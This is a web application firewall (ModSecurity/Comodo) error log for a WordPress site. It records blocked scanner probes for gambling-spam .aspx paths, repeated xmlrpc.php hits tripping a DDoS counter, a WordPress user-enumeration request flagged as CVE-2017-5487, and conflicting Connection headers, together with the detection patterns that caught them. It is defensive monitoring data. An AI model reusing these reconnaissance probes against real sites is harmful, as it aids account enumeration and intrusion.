[Mon May 25 13:42:49.519929 2026] [:error] [pid 3698:tid 3710] [client 145.239.71.147:56298] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "ahPhWQtZBEwA4fyFLKNuIwAAAQo"]
[Mon May 25 13:42:52.499695 2026] [:error] [pid 62722:tid 62742] [client 145.239.71.147:56312] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "ahPhXKM6ssnLWYf6CVDo2wAAAFI"]
[Mon May 25 13:42:55.130455 2026] [:error] [pid 62515:tid 62529] [client 145.239.71.147:56320] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "ahPhXxig0_XsOwmnrv_BXwAAAMw"]
[Mon May 25 13:42:57.387674 2026] [:error] [pid 62428:tid 62490] [client 145.239.71.147:33642] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "ahPhYZNosGBa7mui3VT3LwAAAIY"]
[Mon May 25 13:43:01.080269 2026] [:error] [pid 3698:tid 3714] [client 145.239.71.147:33658] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "ahPhZQtZBEwA4fyFLKNuPgAAAQ4"]
[Mon May 25 13:43:03.210160 2026] [:error] [pid 3698:tid 3715] [client 145.239.71.147:33674] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "ahPhZwtZBEwA4fyFLKNuRQAAAQ8"]
[Mon May 25 13:43:06.014732 2026] [:error] [pid 62722:tid 62743] [client 145.239.71.147:33684] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "ahPhaqM6ssnLWYf6CVDo9QAAAFM"]
[Mon May 25 13:43:08.627078 2026] [:error] [pid 62722:tid 62738] [client 145.239.71.147:53742] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "ahPhbKM6ssnLWYf6CVDpJAAAAE4"]
[Mon May 25 13:43:11.596900 2026] [:error] [pid 62722:tid 62740] [client 145.239.71.147:53752] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "ahPhb6M6ssnLWYf6CVDpLAAAAFA"]
[Mon May 25 13:43:14.295373 2026] [:error] [pid 62722:tid 62740] [client 145.239.71.147:53762] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "ahPhcqM6ssnLWYf6CVDpNgAAAFA"]
[Mon May 25 13:43:16.681992 2026] [:error] [pid 62428:tid 62493] [client 145.239.71.147:53778] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "ahPhdJNosGBa7mui3VT3SQAAAIk"]
[Mon May 25 13:43:20.116585 2026] [:error] [pid 3698:tid 3706] [client 145.239.71.147:35702] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "ahPheAtZBEwA4fyFLKNukQAAAQY"]
[Mon May 25 13:43:22.512448 2026] [:error] [pid 3698:tid 3710] [client 145.239.71.147:35714] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "ahPhegtZBEwA4fyFLKNumwAAAQo"]
[Mon May 25 13:43:26.242740 2026] [:error] [pid 62428:tid 62498] [client 145.239.71.147:35728] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "ahPhfpNosGBa7mui3VT3YgAAAI4"]
[Mon May 25 13:43:29.097691 2026] [:error] [pid 3698:tid 3710] [client 145.239.71.147:39836] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "ahPhgQtZBEwA4fyFLKNuogAAAQo"]
[Mon May 25 13:43:31.651748 2026] [:error] [pid 3698:tid 3720] [client 145.239.71.147:39844] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "ahPhgwtZBEwA4fyFLKNuqwAAARQ"]
[Mon May 25 13:43:33.748043 2026] [:error] [pid 62428:tid 62506] [client 145.239.71.147:39846] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "ahPhhZNosGBa7mui3VT3ZgAAAJY"]
[Mon May 25 13:44:24.626891 2026] [:error] [pid 3698:tid 3721] [client 145.239.71.147:34688] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20auto.aspx"] [unique_id "ahPhuAtZBEwA4fyFLKNvXQAAARU"]
[Mon May 25 13:44:26.902069 2026] [:error] [pid 3698:tid 3709] [client 145.239.71.147:42342] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20betflik.aspx"] [unique_id "ahPhugtZBEwA4fyFLKNvaAAAAQk"]
[Mon May 25 13:44:30.244213 2026] [:error] [pid 62428:tid 62499] [client 145.239.71.147:42358] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game%20slot.aspx"] [unique_id "ahPhvpNosGBa7mui3VT33QAAAI8"]
[Mon May 25 13:44:32.805791 2026] [:error] [pid 3698:tid 3706] [client 145.239.71.147:42368] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game.aspx"] [unique_id "ahPhwAtZBEwA4fyFLKNvdQAAAQY"]
[Mon May 25 16:15:44.233819 2026] [:error] [pid 3698:tid 3714] [client 136.117.146.68:35762] [client 136.117.146.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.117.146.68, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahQFMAtZBEwA4fyFLKO-PAAAAQ4"]
[Mon May 25 16:41:58.992405 2026] [:error] [pid 62426:tid 62445] [client 34.24.86.18:49901] [client 34.24.86.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.24.86.18, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahQLVkj3D3Mo8ANpTRDMAwAAAA8"]
[Mon May 25 16:42:01.664478 2026] [:error] [pid 62426:tid 62432] [client 34.24.86.18:49901] [client 34.24.86.18] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "ahQLWUj3D3Mo8ANpTRDMBgAAAAI"]
[Mon May 25 16:42:03.293280 2026] [:error] [pid 62426:tid 62437] [client 34.24.86.18:49901] [client 34.24.86.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.24.86.18, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahQLW0j3D3Mo8ANpTRDMCAAAAAc"]
[Mon May 25 16:42:05.335153 2026] [:error] [pid 53791:tid 53803] [client 34.24.86.18:54687] [client 34.24.86.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.24.86.18, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahQLXSCRhhNTD40Nf1XjjQAAAYo"]
[Mon May 25 16:42:07.560895 2026] [:error] [pid 62722:tid 62727] [client 34.24.86.18:58585] [client 34.24.86.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.24.86.18, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahQLX6M6ssnLWYf6CVAmKwAAAEM"]
[Mon May 25 16:42:10.100117 2026] [:error] [pid 3698:tid 3719] [client 34.24.86.18:64426] [client 34.24.86.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.24.86.18, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahQLYgtZBEwA4fyFLKPEywAAARM"]
[Mon May 25 16:42:12.388247 2026] [:error] [pid 62428:tid 62503] [client 34.24.86.18:63820] [client 34.24.86.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.24.86.18, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahQLZJNosGBa7mui3VQhDgAAAJM"]
[Mon May 25 16:42:12.388444 2026] [:error] [pid 62428:tid 62503] [client 34.24.86.18:63820] [client 34.24.86.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.24.86.18, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahQLZJNosGBa7mui3VQhDgAAAJM"]
[Mon May 25 17:46:34.379969 2026] [:error] [pid 62515:tid 62533] [client 43.157.148.38:58366] [client 43.157.148.38] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ahQaehig0_XsOwmnrv8G_AAAANA"]
[Mon May 25 17:48:53.749250 2026] [:error] [pid 62426:tid 62450] [client 91.209.225.53:41179] [client 91.209.225.53] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.209.225.53, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahQbBUj3D3Mo8ANpTRDYxwAAABQ"]
[Mon May 25 17:49:03.801130 2026] [:error] [pid 53791:tid 53812] [client 91.209.225.53:41753] [client 91.209.225.53] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.209.225.53, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahQbDyCRhhNTD40Nf1X7owAAAZM"]
[Mon May 25 17:49:14.249664 2026] [:error] [pid 62427:tid 62467] [client 91.209.225.53:42287] [client 91.209.225.53] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.209.225.53, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahQbGvMUa83fc4GDyBxqJQAAAUo"]
[Mon May 25 17:49:24.662944 2026] [:error] [pid 3698:tid 3715] [client 91.209.225.53:49363] [client 91.209.225.53] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.209.225.53, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahQbJAtZBEwA4fyFLKPVXQAAAQ8"]
[Mon May 25 17:49:35.152880 2026] [:error] [pid 62427:tid 62481] [client 91.209.225.53:43233] [client 91.209.225.53] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.209.225.53, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahQbL_MUa83fc4GDyBxqPQAAAVg"]
[Mon May 25 18:03:03.656521 2026] [:error] [pid 53791:tid 53809] [client 106.52.216.13:48234] [client 106.52.216.13] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ahQeVyCRhhNTD40Nf1X-2gAAAZA"]
[Mon May 25 18:52:02.743959 2026] [:error] [pid 62515:tid 62528] [client 186.195.33.223:64190] [client 186.195.33.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 186.195.33.223, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahQp0hig0_XsOwmnrv8chgAAAMs"]
[Mon May 25 18:52:13.650252 2026] [:error] [pid 3698:tid 3711] [client 186.195.33.223:64667] [client 186.195.33.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 186.195.33.223, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahQp3QtZBEwA4fyFLKPgygAAAQs"]
[Mon May 25 18:52:22.659455 2026] [:error] [pid 62428:tid 62492] [client 186.195.33.223:65039] [client 186.195.33.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 186.195.33.223, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahQp5pNosGBa7mui3VQzMgAAAIg"]
[Mon May 25 18:52:32.922550 2026] [:error] [pid 62428:tid 62504] [client 186.195.33.223:65445] [client 186.195.33.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 186.195.33.223, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahQp8JNosGBa7mui3VQzPQAAAJQ"]
[Mon May 25 18:52:43.174677 2026] [:error] [pid 62426:tid 62437] [client 186.195.33.223:49472] [client 186.195.33.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 186.195.33.223, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahQp-0j3D3Mo8ANpTRDonQAAAAc"]
[Mon May 25 19:03:35.848773 2026] [:error] [pid 53791:tid 53794] [client 51.83.11.108:41368] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "ahQshyCRhhNTD40Nf1UKdAAAAYE"]
[Mon May 25 19:03:37.721605 2026] [:error] [pid 62426:tid 62431] [client 51.83.11.108:49234] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "ahQsiUj3D3Mo8ANpTRDq6AAAAAE"]
[Mon May 25 19:03:39.744695 2026] [:error] [pid 62428:tid 62497] [client 51.83.11.108:49238] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "ahQsi5NosGBa7mui3VQ4PQAAAI0"]
[Mon May 25 19:03:41.953959 2026] [:error] [pid 53791:tid 53802] [client 51.83.11.108:49244] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "ahQsjSCRhhNTD40Nf1UKgQAAAYk"]
[Mon May 25 19:03:43.871165 2026] [:error] [pid 62426:tid 62430] [client 51.83.11.108:49260] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "ahQsj0j3D3Mo8ANpTRDq6wAAAAA"]
[Mon May 25 19:03:45.857126 2026] [:error] [pid 62515:tid 62517] [client 51.83.11.108:49266] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "ahQskRig0_XsOwmnrv8gDgAAAMA"]
[Mon May 25 19:03:47.898783 2026] [:error] [pid 62427:tid 62463] [client 51.83.11.108:52792] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "ahQsk_MUa83fc4GDyBxyYQAAAUY"]
[Mon May 25 19:03:49.847509 2026] [:error] [pid 62426:tid 62450] [client 51.83.11.108:52794] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "ahQslUj3D3Mo8ANpTRDq-gAAABQ"]
[Mon May 25 19:03:51.837717 2026] [:error] [pid 3698:tid 3707] [client 51.83.11.108:52806] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "ahQslwtZBEwA4fyFLKPi9QAAAQc"]
[Mon May 25 19:03:53.992304 2026] [:error] [pid 53791:tid 53802] [client 51.83.11.108:52810] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "ahQsmSCRhhNTD40Nf1UKtAAAAYk"]
[Mon May 25 19:03:56.070088 2026] [:error] [pid 62722:tid 62735] [client 51.83.11.108:52822] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "ahQsnKM6ssnLWYf6CVA-GwAAAEs"]
[Mon May 25 19:03:58.018053 2026] [:error] [pid 3698:tid 3718] [client 51.83.11.108:42854] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "ahQsngtZBEwA4fyFLKPi-wAAARI"]
[Mon May 25 19:03:59.962762 2026] [:error] [pid 62426:tid 62447] [client 51.83.11.108:42860] [client 51.83.11.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "ahQsn0j3D3Mo8ANpTRDrCgAAABE"]
